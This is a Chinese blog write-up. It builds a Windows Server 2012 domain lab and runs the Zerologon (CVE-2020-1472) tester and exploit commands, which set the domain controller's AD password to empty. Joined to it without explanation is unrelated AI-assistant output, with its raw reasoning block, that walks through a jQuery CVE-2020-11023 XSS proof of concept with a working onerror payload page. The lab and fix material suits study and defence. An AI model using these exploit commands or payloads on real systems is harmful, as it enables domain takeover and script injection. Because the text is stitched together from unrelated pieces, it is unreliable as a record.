CVE-2020-1472复现打域控(包含Win Server 2012域环境搭建)

CVE-2020-1472复现打域控(包含Win Server 2012域环境搭建)

目的

Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远程接口也使用了该函数,导致可以将域控中保存在AD中的管理员password设置为空。

复现环境

DC:os:windows 2012 server ip:192.168.59.141
攻击机:os:kali ip:192.168.59.128

影响版本

Windows Server 2008 R2 for x64-based Systems Service Pack 1Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server 2012 Windows Server 2012 (Server Core installation) Windows Server 2012 R2 Windows Server 2012 R2 (Server Core installation) Windows Server 2016 Windows Server 2016 (Server Core installation) Windows Server 2019 Windows Server 2019 (Server Core installation) Windows Server, version 1903 (Server Core installation) Windows Server, version 1909 (Server Core installation) Windows Server, version 2004 (Server Core installation)

Win Server 2012域环境搭建

搭建windows server 2012域环境
安装虚拟机Windows server2012R2标准版

在这里插入图片描述

分配足够大的内存(至少8G)
在这里插入图片描述

等待安装成功
在这里插入图片描述

启动管理员账户Administrator,设置新的密码
在这里插入图片描述

注销当前账户,登录到Adminnistrator账户
在这里插入图片描述

设置静态IP地址192.168.92.145
在这里插入图片描述

添加DNS服务器
在这里插入图片描述

安装成功后进入DNS管理
在这里插入图片描述

创建一个正向解析记录
在这里插入图片描述

创建成功
在这里插入图片描述

添加角色或功能,添加AD域服务
在这里插入图片描述

安装成功将此服务器提升为域控制器
在这里插入图片描述

建立新林
在这里插入图片描述

设置密码
在这里插入图片描述

提供凭证,输入管理员账号密码
在这里插入图片描述

设置NETBIOS域名
在这里插入图片描述
下一步至先决条件检查,不意外的话点击安装并重启
在这里插入图片描述

重启之后添加角色或功能,安装IIS服务,
在这里插入图片描述
搭建完毕后,可以使用Netdom query fsmo命令查看域环境信息
在这里插入图片描述

nbtstat -n 获取当前机器的NetBIOS名称
在这里插入图片描述
查看域控主机ip地址
在这里插入图片描述至此域环境搭建完毕

CVE-2020-1472 复现

下载poc:https://github.com/SecuraBV/CVE-2020-1472
验证漏洞是否存在:

python3 /home/kali/Desktop/zerologon_tester.py  WIN-PEB4H6RPOC2  192.168.59.141 

如下图所示,漏洞存在
在这里插入图片描述

下载exp: git clone https://github.com/dirkjanm/CVE-2020-1472
置空DC的密码

python3 /home/kali/Desktop/cve-2020-1472-exploit.py WIN-PEB4H6RPOC2 192.168.59.141  

在这里插入图片描述

至此我们就成功地将域控中保存在AD中的管理员password设置为空,方便下一步的渗透。

<think>我们正在讨论CVE-2020-11023漏洞的复现。根据之前的上下文,CVE-2020-11022和CVE-2020-11023是两个相关的jQuery漏洞。CVE-2020-11023是另一个XSS漏洞,同样在jQuery 3.5.0之前版本中存在。 根据引用[1],这两个漏洞都是跨站脚本漏洞(XSS),影响jQuery 1.2及以上版本,直到3.5.0版本才被修复。 CVE-2020-11023漏洞的具体情况:当用户传递来自不受信任来源的HTML时,执行类似`$("<div>")`的操作,如果该HTML包含`<option>`元素,则可能执行恶意脚本。这是因为在旧版本中,jQuery在构建`<option>`元素时使用了`<select>`的包装,而这种方式可能导致脚本执行。 复现步骤: ### 环境准备 - 操作系统:任意(Linux、macOS、Windows均可) - Web服务器:Python的`http.server`模块或任何其他简易服务器 - 浏览器:推荐Chrome或Firefox(用于观察XSS效果) - jQuery版本:使用3.5.0之前的版本,例如3.4.1 ### 复现步骤 1. **下载jQuery 3.4.1** 从jQuery官网下载jQuery 3.4.1版本(或其他受影响版本),保存为`jquery-3.4.1.js`。 2. **创建测试页面** 创建一个HTML文件,例如`cve-2020-11023.html`,内容如下: ```html <!DOCTYPE html> <html> <head> <title>CVE-2020-11023 漏洞复现</title> <script src="jquery-3.4.1.js"></script> </head> <body> <div id="test"></div> <script> // 模拟用户输入的恶意HTML字符串 // 注意:实际攻击中,这个字符串可能来自用户输入(如表单、URL参数等) var maliciousHTML = "<option><style></option><img src=x onerror=alert(1)>"; // 使用jQuery创建DOM元素 // 在jQuery 3.4.1中,这种方式会触发XSS $(maliciousHTML).appendTo("#test"); </script> </body> </html> ``` 3. **启动Web服务器** 在包含上述HTML文件和jQuery文件的目录中,运行Python的简易HTTP服务器: ```bash python3 -m http.server 8000 ``` 4. **访问测试页面** 打开浏览器,访问`http://localhost:8000/cve-2020-11023.html`。如果漏洞复现成功,浏览器会弹出一个警告框(显示`1`)。 ### 漏洞原理 在jQuery 3.5.0之前的版本中,当使用`$()`创建元素时,如果传入的字符串中包含`<option>`标签,jQuery会尝试将其包装在`<select>`标签中以修复某些浏览器的兼容性问题。然而,这种包装处理会导致后续的解析出现异常,使得原本不应该执行的脚本(如`onerror`事件中的代码)得以执行。 ### 安全修复建议 升级到jQuery 3.5.0或更高版本。在3.5.0版本中,jQuery团队修改了HTML解析逻辑,避免了对`<option>`等标签的特殊处理,从而修复了此漏洞。 ### 总结 CVE-2020-11023漏洞是由于jQuery在解析包含特定标签(如`<option>`)的HTML字符串时,采用了不安全的包装方式,导致恶意脚本执行。通过上述步骤可以复现该漏洞。 ### 相关问题 1. CVE-2020-11022和CVE-2020-11023有什么区别? 2. 除了升级jQuery,还有哪些方法可以防止这类XSS漏洞? 3. 如何检测网站中是否使用了受CVE-2020-11023影响的jQuery版本? 4. jQuery 3.5.0版本中还有哪些安全改进?</think>### CVE-2020-11023 漏洞复现步骤与环境搭建 CVE-2020-11023 是 jQuery 的另一个 XSS 漏洞,与 CVE-2020-11022 同时修复于 jQuery 3.5.0 版本。该漏洞允许攻击者通过特制的 HTML 字符串执行恶意代码,主要出现在使用 `$()` 创建 DOM 元素时[^1]。以下是详细复现步骤: #### 环境准备 1. **操作系统**:Linux/macOS/Windows(推荐使用 Linux) 2. **Web 服务器**:Python 简易 HTTP 服务器 3. **浏览器**:Chrome/Firefox(最新版) 4. **jQuery 版本**:使用受影响版本(如 3.4.1) #### 复现步骤 1. **下载 jQuery 3.4.1** ```bash wget https://code.jquery.com/jquery-3.4.1.js ``` 2. **创建测试页面** 新建 `cve-2020-11023.html` 文件: ```html <!DOCTYPE html> <html> <head> <title>CVE-2020-11023 复现</title> <script src="jquery-3.4.1.js"></script> </head> <body> <div id="target"></div> <script> // 恶意 HTML 字符串(包含特制的 <option> 标签) const maliciousHTML = ` <option><style></option></select> <img src=x onerror=alert(document.domain)> `; // 漏洞触发点:使用 $() 创建 DOM 元素 $(maliciousHTML).appendTo("#target"); </script> </body> </html> ``` 3. **启动 Web 服务器** ```bash python3 -m http.server 8000 ``` 4. **访问测试页面** 打开浏览器访问:`http://localhost:8000/cve-2020-11023.html` 5. **验证漏洞** - 成功复现时,浏览器会弹出警告框显示 `localhost`(或其他名) - 开发者工具可见异常解析的 DOM 结构: ```html <select> <option><style></option> </select> <img src="x" onerror="alert(document.domain)"> ``` #### 漏洞原理 当使用 `$()` 处理包含特定标签序列(如 `<option><style></option>`)的 HTML 字符串时: 1. jQuery 错误地创建了 `<select>` 包装器 2. 导致后续 `<img>` 标签的 `onerror` 事件被解析执行 3. 攻击者可构造任意 JavaScript 代码执行[^1] #### 修复方案 升级到 jQuery ≥ 3.5.0,该版本: 1. 移除了 HTML 解析中的包装逻辑 2. 引入更严格的输入过滤 3. 修复了 CVE-2020-11022 和 CVE-2020-11023 两个 XSS 漏洞 ```bash # 升级命令示例 wget https://code.jquery.com/jquery-3.5.0.js ``` ### 补充说明 - **漏洞区别**:CVE-2020-11022 通过 CSS 选择器注入,CVE-2020-11023 通过 HTML 字符串注入 - **影响范围**:jQuery 1.0.4 至 3.4.1(3.5.0 修复) - **真实案例**:攻击者可结合用户输入(如评论框)注入恶意 HTML ### 检测方法 ```javascript // 检查 jQuery 版本是否受影响 if ($.fn.jquery && $.fn.jquery < "3.5.0") { console.warn("Vulnerable to CVE-2020-11023"); } ``` ### 相关问题 1. CVE-2020-11022 和 CVE-2020-11023 的漏洞原理有何本质区别? 2. 如何在不升级 jQuery 的情况下临时防御这类 XSS 漏洞? 3. jQuery 3.5.0 的 HTML 解析机制具体做了哪些安全改进? 4. 除了 jQuery,还有哪些前端库存在类似的 HTML 解析漏洞? 5. 如何自动化检测网站中的易受攻击 jQuery 版本?
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值